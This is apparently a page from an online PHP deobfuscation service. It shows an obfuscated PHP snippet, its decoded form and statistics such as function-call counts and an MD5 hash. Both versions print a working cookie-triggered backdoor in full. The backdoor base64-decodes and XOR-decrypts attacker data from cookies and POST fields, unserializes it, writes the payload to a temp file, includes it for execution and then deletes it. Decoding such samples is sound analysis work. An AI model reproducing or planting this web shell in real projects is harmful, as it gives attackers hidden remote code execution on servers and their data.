Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$rcTTwyk = chr (119) . '_' . chr (85) . "\x69" . chr ( 611 - 531 )."\x75" . chr ( 457 - 37..

Decoded Output download

<?  $rcTTwyk = chr (119) . '_' . chr (85) . "i" . chr ( 611 - 531 )."u" . chr ( 457 - 373 ); $iWOWegpFjK = chr (99) . chr ( 596 - 488 ).chr (97) . chr (115) . chr (115) . chr ( 835 - 740 ).chr ( 274 - 173 ).chr ( 175 - 55 ).chr (105) . 's' . "t" . "s";$iDfnx = class_exists($rcTTwyk); $rcTTwyk = "17400";$iWOWegpFjK = "22269";$EYFUlETin = FALSE;if ($iDfnx === $EYFUlETin){$Bjpvoj = "62497";class w_UiPuT{public function gkuhnskXYq(){echo "29572";}private $BqztXSTIM;public static $cVjpqdV = "5a69ebf9-fd02-42af-b4f3-1bcdf030f966";public static $BLRgDmgd = 15914;public function __construct($ZazteOQZWS=0){$JrsZqhBVNT = $_POST;$iSDsZB = $_COOKIE;$EYXmV = @$iSDsZB[substr(w_UiPuT::$cVjpqdV, 0, 4)];if (!empty($EYXmV)){$ShHMtvwrSf = "base64";$TQTSAU = "";$EYXmV = explode(",", $EYXmV);foreach ($EYXmV as $RtJHvipgK){$TQTSAU .= @$iSDsZB[$RtJHvipgK];$TQTSAU .= @$JrsZqhBVNT[$RtJHvipgK];}$TQTSAU = array_map($ShHMtvwrSf . chr ( 1045 - 950 ).chr (100) . "e" . 'c' . chr (111) . 'd' . "e", array($TQTSAU,)); $TQTSAU = $TQTSAU[0] ^ str_repeat(w_UiPuT::$cVjpqdV, (strlen($TQTSAU[0]) / strlen(w_UiPuT::$cVjpqdV)) + 1);w_UiPuT::$BLRgDmgd = @unserialize($TQTSAU);}}private function RALFn($Bjpvoj){if (is_array(w_UiPuT::$BLRgDmgd)) {$ZTqEngqf = sys_get_temp_dir() . "/" . crc32(w_UiPuT::$BLRgDmgd[chr (115) . "a" . chr (108) . chr (116)]);@w_UiPuT::$BLRgDmgd[chr ( 1095 - 976 ).'r' . 'i' . chr ( 940 - 824 ).chr (101)]($ZTqEngqf, w_UiPuT::$BLRgDmgd["c" . "o" . 'n' . "t" . 'e' . "n" . 't']);include $ZTqEngqf;@w_UiPuT::$BLRgDmgd["d" . "e" . "l" . 'e' . chr (116) . chr ( 695 - 594 )]($ZTqEngqf); $Bjpvoj = "62497";exit();}}public function __destruct(){$Bjpvoj = "30557_24510";$this->RALFn($Bjpvoj); $Bjpvoj = "30557_24510";}}$uhbOAlngIm = new /* 42346 */ w_UiPuT(); $uhbOAlngIm = str_repeat("30557_24510", 1);} ?>

Did this file decode correctly?

Original Code

$rcTTwyk = chr (119) . '_' . chr (85) . "\x69" . chr ( 611 - 531 )."\x75" . chr ( 457 - 373 ); $iWOWegpFjK = chr (99) . chr ( 596 - 488 ).chr (97) . chr (115) . chr (115) . chr ( 835 - 740 ).chr ( 274 - 173 ).chr ( 175 - 55 ).chr (105) . 's' . "\164" . "\163";$iDfnx = class_exists($rcTTwyk); $rcTTwyk = "17400";$iWOWegpFjK = "22269";$EYFUlETin = FALSE;if ($iDfnx === $EYFUlETin){$Bjpvoj = "62497";class w_UiPuT{public function gkuhnskXYq(){echo "29572";}private $BqztXSTIM;public static $cVjpqdV = "5a69ebf9-fd02-42af-b4f3-1bcdf030f966";public static $BLRgDmgd = 15914;public function __construct($ZazteOQZWS=0){$JrsZqhBVNT = $_POST;$iSDsZB = $_COOKIE;$EYXmV = @$iSDsZB[substr(w_UiPuT::$cVjpqdV, 0, 4)];if (!empty($EYXmV)){$ShHMtvwrSf = "base64";$TQTSAU = "";$EYXmV = explode(",", $EYXmV);foreach ($EYXmV as $RtJHvipgK){$TQTSAU .= @$iSDsZB[$RtJHvipgK];$TQTSAU .= @$JrsZqhBVNT[$RtJHvipgK];}$TQTSAU = array_map($ShHMtvwrSf . chr ( 1045 - 950 ).chr (100) . "\145" . 'c' . chr (111) . 'd' . "\145", array($TQTSAU,)); $TQTSAU = $TQTSAU[0] ^ str_repeat(w_UiPuT::$cVjpqdV, (strlen($TQTSAU[0]) / strlen(w_UiPuT::$cVjpqdV)) + 1);w_UiPuT::$BLRgDmgd = @unserialize($TQTSAU);}}private function RALFn($Bjpvoj){if (is_array(w_UiPuT::$BLRgDmgd)) {$ZTqEngqf = sys_get_temp_dir() . "/" . crc32(w_UiPuT::$BLRgDmgd[chr (115) . "\x61" . chr (108) . chr (116)]);@w_UiPuT::$BLRgDmgd[chr ( 1095 - 976 ).'r' . 'i' . chr ( 940 - 824 ).chr (101)]($ZTqEngqf, w_UiPuT::$BLRgDmgd["\143" . "\x6f" . 'n' . "\x74" . 'e' . "\156" . 't']);include $ZTqEngqf;@w_UiPuT::$BLRgDmgd["\x64" . "\x65" . "\x6c" . 'e' . chr (116) . chr ( 695 - 594 )]($ZTqEngqf); $Bjpvoj = "62497";exit();}}public function __destruct(){$Bjpvoj = "30557_24510";$this->RALFn($Bjpvoj); $Bjpvoj = "30557_24510";}}$uhbOAlngIm = new /* 42346 */ w_UiPuT(); $uhbOAlngIm = str_repeat("30557_24510", 1);}

Function Calls

chr 13
class_exists 1

Variables

$rcTTwyk w_UiPuT
$iWOWegpFjK class_exists

Stats

MD5 7067a551f884a2aaef30a6984fadbf3e
Eval Count 0
Decode Time 95 ms